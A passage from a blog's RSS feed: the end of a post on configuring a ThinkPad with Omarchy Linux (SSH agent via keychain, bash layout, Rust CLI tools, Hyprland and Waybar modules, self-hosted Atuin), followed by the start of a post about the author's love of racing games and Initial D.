    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>%t</code> resolves to <code>$XDG_RUNTIME_DIR</code>, something like <code>/run/user/1026</code>. Enable the gcr socket and user linger (so user daemons survive logout):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now gcr-ssh-agent.socket
</span></span><span class="line"><span class="cl">sudo loginctl enable-linger <span class="nv">$USER</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finally, in <code>~/.config/bash/init.sh</code>, keychain starts or reuses the agent:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">command</span> -v keychain <span class="p">&amp;</span>&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="o">[[</span> -r ~/.ssh/id_ed25519 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">eval</span> <span class="s2">&#34;</span><span class="k">$(</span>keychain --eval --quiet ~/.ssh/id_ed25519<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>--eval</code> emits shell assignments (<code>SSH_AUTH_SOCK</code>, <code>SSH_AGENT_PID</code>) pointing to keychain&rsquo;s agent, overriding the gcr path set by environment.d. <code>--quiet</code> silences the banner once the key is loaded.</p>
<p>Flow in practice: boot → first terminal → keychain prompts for the passphrase once → key stays loaded. Logout → login again → new shells reattach to the same agent (via <code>~/.keychain/&lt;host&gt;-sh</code>) → zero prompts. <code>ssh-add -l</code> confirms the key is there, <code>echo $SSH_AUTH_SOCK</code> confirms it&rsquo;s at keychain&rsquo;s path.</p>
<p>When you&rsquo;ll re-enter the passphrase: reboot, <code>ssh-add -D</code>, or <code>keychain --clear</code>. In normal use, once a day.</p>
<h3>Bash instead of ZSH<span class="hx:absolute hx:-mt-20" id="bash-instead-of-zsh"></span>
    <a href="#bash-instead-of-zsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the desktop I use ZSH. On the notebook I went with Bash to align with Omarchy&rsquo;s default, without having to maintain a parallel stack of modular layers. <code>~/.bashrc</code> is a symlink to <code>~/.config/bash/bashrc</code>, which sources Omarchy&rsquo;s defaults first and then stacks my customizations:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">source</span> ~/.local/share/omarchy/default/bash/rc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/envs.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/aliases.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/mounts.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/init.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/secrets    <span class="c1"># gitignored, chmod 600</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>envs.sh</code> has what&rsquo;s mine: OpenRouter base URL, Ollama pointing to the LAN GPU box (192.168.0.14), AWS region, Hugo analytics, zoxide and SSH agent configs. <code>aliases.sh</code> has TLP shortcuts, an alias for <code>shell-gpt</code> via Docker, and functions to harden PATH when running <code>makepkg</code> or <code>yay</code> (prevents binary injection via a malicious user config).</p>
<p><code>init.sh</code> does the integration work. Atuin with a manual bind for Ctrl-R (so the up arrow keeps bash&rsquo;s default history-search, which I use more). Keychain loading <code>~/.ssh/id_ed25519</code> once per boot and reusing it across shells (no need to re-authenticate SSH every time). Blesh if installed (ZSH-style autosuggestions for Bash). And a function that has PROMPT_COMMAND set the window title to the current pwd and the running command:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">__title_idle<span class="o">()</span> <span class="o">{</span> <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl">__title_busy<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">cmd</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;__title_&#34;</span>* <span class="o">||</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> *<span class="s2">&#34;PROMPT_COMMAND&#34;</span>* <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">  <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s — %s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -n <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="p">-</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle; </span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">trap</span> <span class="s1">&#39;__title_busy&#39;</span> DEBUG</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Idle, the title shows just the pwd. With a command running, <code>trap DEBUG</code> catches the <code>BASH_COMMAND</code> and updates the title. Waybar&rsquo;s <code>hyprland/window</code> picks that up and displays it.</p>
<p>For the modern Rust toolbelt, the list:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed <span class="se">\
</span></span></span><span class="line"><span class="cl">  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine <span class="se">\
</span></span></span><span class="line"><span class="cl">  zoxide atuin tldr starship</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>eza</code> replaces <code>ls</code>. <code>bat</code> replaces <code>cat</code> with syntax highlighting. <code>fd</code> replaces <code>find</code>. <code>ripgrep</code> replaces <code>grep</code>. <code>sd</code> replaces <code>sed</code>. <code>delta</code> plugs into git for colored side-by-side diff. <code>dust</code> for visual <code>du</code>. <code>procs</code> for <code>ps</code>. <code>btm</code> (bottom) for <code>top</code>. <code>duf</code> for <code>df</code>. <code>tokei</code> counts lines of code. <code>hyperfine</code> for command benchmarking. <code>zoxide</code> is <code>cd</code> with memory (very useful). <code>atuin</code> is shell history with encrypted sync (I point it to my home server via <code>sync_address = &quot;http://192.168.0.90:8888&quot;</code>). <code>starship</code> is the prompt. <code>tldr</code> is a man page in 10 lines.</p>
<p>The <code>atuin key</code> has to be backed up offline. If you lose it, you lose the encrypted history. I saved mine in my self-hosted Bitwarden (Vaultwarden), documented in the <a href="/en/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">Bitwarden self-hosted article</a>.</p>
<p>Git pipes diff through delta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Hyprland and Waybar<span class="hx:absolute hx:-mt-20" id="hyprland-and-waybar"></span>
    <a href="#hyprland-and-waybar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Visual and UX customizations on top of the default.</p>
<p>In <code>hypr/looknfeel.conf</code>, smaller gaps (2/5 vs the default 5/10), slide animation between workspaces, VFR on (reduces consumption when the screen is static), <code>allow_session_lock_restore</code> (if hyprlock crashes, it goes back to the lock screen instead of dumping you on the desktop).</p>
<p>In <code>hypr/bindings.conf</code>:</p>
<table>
  <thead>
      <tr>
          <th>Binding</th>
          <th>Action</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>Super+B</code></td>
          <td>Brave</td>
      </tr>
      <tr>
          <td><code>Super+L</code></td>
          <td>Lock screen (default was layout toggle)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+L</code></td>
          <td>Layout toggle (moved here)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+P</code></td>
          <td>Toggle TLP perf mode</td>
      </tr>
  </tbody>
</table>
<p>On Waybar, three custom modules I recommend:</p>
<p><strong>Window title</strong>: the <code>hyprland/window</code> module shows what&rsquo;s focused. In bash, PROMPT_COMMAND updates the title to something like &ldquo;~/Projects/blog — hugo server&rdquo;. So in waybar the directory and running command show up, without me needing to look at the terminal.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---window-title-on-waybar.png" alt="Waybar showing workspaces on the left and the focused window title with the pwd and the running command"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---another-window-title-on-waybar.png" alt="Another example of the window title on waybar, this time showing “Claude Code”"  loading="lazy" /></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;hyprland/window&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{title}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;max-length&#34;</span><span class="p">:</span> <span class="mi">50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;rewrite&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;(.{47}).+&#34;</span><span class="p">:</span> <span class="s2">&#34;$1…&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>Perf mode</strong>: <code>custom/perf</code> runs a script that reads TLP state and shows an icon:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;custom/perf&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exec&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-waybar.sh&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;interval&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;on-click&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-toggle.sh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Empty for balanced, 󰓅 PERF for performance, 󰌪 ECO for low-power. Click toggles. Useful to quickly see what mode the machine is in.</p>
<p><strong>Claudebar</strong>: I integrated <a href="https://github.com/alfredopiquet/claudebar"target="_blank" rel="noopener">claudebar</a> as a custom module that shows the Claude Code session usage % and extra spend inline in waybar. No need to open another window.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---power-profile-and-claudebar-next-to-traybar.png" alt="Claudebar showing 9%, 1h16m remaining and $1120.74 extra spend, followed by the PERF indicator and the tray"  loading="lazy" /></p>
<p>The clock:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;clock&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A %d %B - %H:%M}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format-alt&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A W%V %Y - %H:%M}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Shows &ldquo;Thursday 17 April - 14:32&rdquo; by default, click toggles to &ldquo;Thursday W16 2026 - 14:32&rdquo; with the ISO week number, useful for planning articles and tasks.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---better-date-time-on-waybar-center.png" alt="Waybar clock in the center with date and time"  loading="lazy" /></p>
<h3>Self-hosted Atuin<span class="hx:absolute hx:-mt-20" id="self-hosted-atuin"></span>
    <a href="#self-hosted-atuin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Atuin runs on my home server at 192.168.0.90:8888. I made a separate account for the notebook (<code>akitaonrails-thinkpad</code>), I don&rsquo;t mix history with the desktop on purpose. <code>atuin sync</code> runs every 5 minutes and all history is encrypted before going to the server. The server doesn&rsquo;t see the commands, only encrypted bytes.</p>
<h2>Conclusion: picking a notebook for Linux<span class="hx:absolute hx:-mt-20" id="conclusion-picking-a-notebook-for-linux"></span>
    <a href="#conclusion-picking-a-notebook-for-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One thing I learned on this journey: picking a notebook to run Linux comfortably is not trivial. You have to check the <a href="https://wiki.archlinux.org/title/Laptop"target="_blank" rel="noopener">ArchWiki</a> for your specific model before buying. The <a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_T14s_%28AMD%29_Gen_6"target="_blank" rel="noopener">T14s Gen 6 AMD page</a>, for example, catalogs every hardware quirk and how to work around it. Without that reference, you discover the problems during install.</p>
<p>Rule I follow: never buy a freshly-released model. Let 6 to 12 months go by after launch. That gives the community time to iron out bugs, drivers to land mainline, the ArchWiki to have a decent page, libfprint to include the fingerprint sensor, and the kernel to cover WiFi and the IR camera. Buying on day one means signing up as a beta tester.</p>
<p>Brands with a decent Linux track record: Lenovo (especially Thinkpad, they ship Ubuntu and Fedora pre-loaded), Dell (the XPS and Latitude lines), Asus (Zenbook and ROG have reasonable support), Framework (built for Linux from the factory). Any recent Mac is cut off from Linux mainline or runs through Asahi with caveats.</p>
<p>The Thinkpad T14 Gen 6 isn&rsquo;t the prettiest notebook I could have bought. But it&rsquo;s rugged, it has the right ports, the fingerprint sensor works, and the plastic shell lets it fall, get scratched, travel in a backpack without making me nervous. To serve as a remote debug companion, it&rsquo;s what I needed. If that&rsquo;s your use case too, I recommend it. If you want OLED and metal, go Zenbook or T14s. Every premium comes with a compromise, no Linux notebook in 2026 is perfect.</p>
<p>Everything I described here is versioned in a private repo of mine. If I need to reinstall tomorrow, I run half a dozen steps in order and I&rsquo;m back at the same place. That&rsquo;s the whole point of keeping config in Git: notebook is commodity, config is mine.</p>
]]></content:encoded><category>omarchy</category><category>linux</category><category>hardware</category><category>reviews</category></item><item><title>My Sim Racing Cockpit - Formula FX1</title><link>https://www.akitaonrails.com/en/2026/04/01/my-sim-racing-cockpit-formula-fx1/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/04/01/my-sim-racing-cockpit-formula-fx1/</guid><pubDate>Wed, 01 Apr 2026 17:00:00 -0300</pubDate><description>&lt;p&gt;I&amp;rsquo;ve loved cars for as long as I can remember. My first real contact with racing games was at the arcades of the 80s and 90s. And when I say &amp;ldquo;real,&amp;rdquo; I mean sitting at a cabinet with a wheel, pedals, a hard plastic seat and the screen wrapping in front of you. &lt;a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener"&gt;OutRun&lt;/a&gt; (1986), &lt;a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener"&gt;Rad Mobile&lt;/a&gt; (1991), &lt;a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener"&gt;Virtua Racing&lt;/a&gt; (1992), &lt;a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener"&gt;Ridge Racer&lt;/a&gt; (1993), &lt;a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener"&gt;Daytona USA&lt;/a&gt; (1994), &lt;a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener"&gt;Scud Race&lt;/a&gt; (1996). Every one of those games left a mark on me. But Daytona USA stuck in a different way. That twin cabinet, two machines side by side, the &amp;ldquo;DAYTONAAA, let&amp;rsquo;s go away&amp;rdquo; track blasting through the arcade, the wheel rumbling in your hand. I still remember it.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I&rsquo;ve loved cars for as long as I can remember. My first real contact with racing games was at the arcades of the 80s and 90s. And when I say &ldquo;real,&rdquo; I mean sitting at a cabinet with a wheel, pedals, a hard plastic seat and the screen wrapping in front of you. <a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener">OutRun</a> (1986), <a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener">Rad Mobile</a> (1991), <a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener">Virtua Racing</a> (1992), <a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener">Ridge Racer</a> (1993), <a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener">Daytona USA</a> (1994), <a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener">Scud Race</a> (1996). Every one of those games left a mark on me. But Daytona USA stuck in a different way. That twin cabinet, two machines side by side, the &ldquo;DAYTONAAA, let&rsquo;s go away&rdquo; track blasting through the arcade, the wheel rumbling in your hand. I still remember it.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/2/24/DaytonaUSA_arcade_SaoPaulo.jpg" alt="Daytona USA machines at a São Paulo mall — exactly the kind of twin cabinet that’s burned into my memory"  loading="lazy" /></p>
<p>But the game that really got me hooked on the simcade genre was the original <a href="https://en.wikipedia.org/wiki/Gran_Turismo_%28video_game%29"target="_blank" rel="noopener">Gran Turismo</a>, in 1997, on the PlayStation 1. &ldquo;The Real Driving Simulator&rdquo; on the cover. I played that game obsessively. Around the same time I was watching the <a href="https://en.wikipedia.org/wiki/Initial_D"target="_blank" rel="noopener">Initial D</a> anime, which premiered in 1998 in Japan. I bought every manga volume and read all of it from start to finish. The story of Takumi Fujiwara going down Mount Akina at dawn delivering tofu in his father&rsquo;s AE86 is, to me, one of the best motorsport stories ever told in any medium.</p>
<p>I still follow Shuichi Shigeno&rsquo;s work today. After Initial D came <a href="https://kodansha.us/series/mf-ghost/"target="_blank" rel="noopener">MF Ghost</a> (2017-2025), set in the same universe but in a near future where combustion cars have become museum pieces. And now, since July 2025, I&rsquo;m reading <a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener">Subaru and Subaru</a>, the direct sequel that ties the Initial D and MF Ghost universes together with two protagonists named Subaru — one from Gunma, one from Kanagawa — competing in a new racing series. It&rsquo;s Shigeno at his best.</p>
<p><a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/subaru-x-subaru-cover.png" alt="Subaru and Subaru — Shigeno’s new manga, the direct sequel to Initial D and MF Ghost"  loading="lazy" /></a></p>
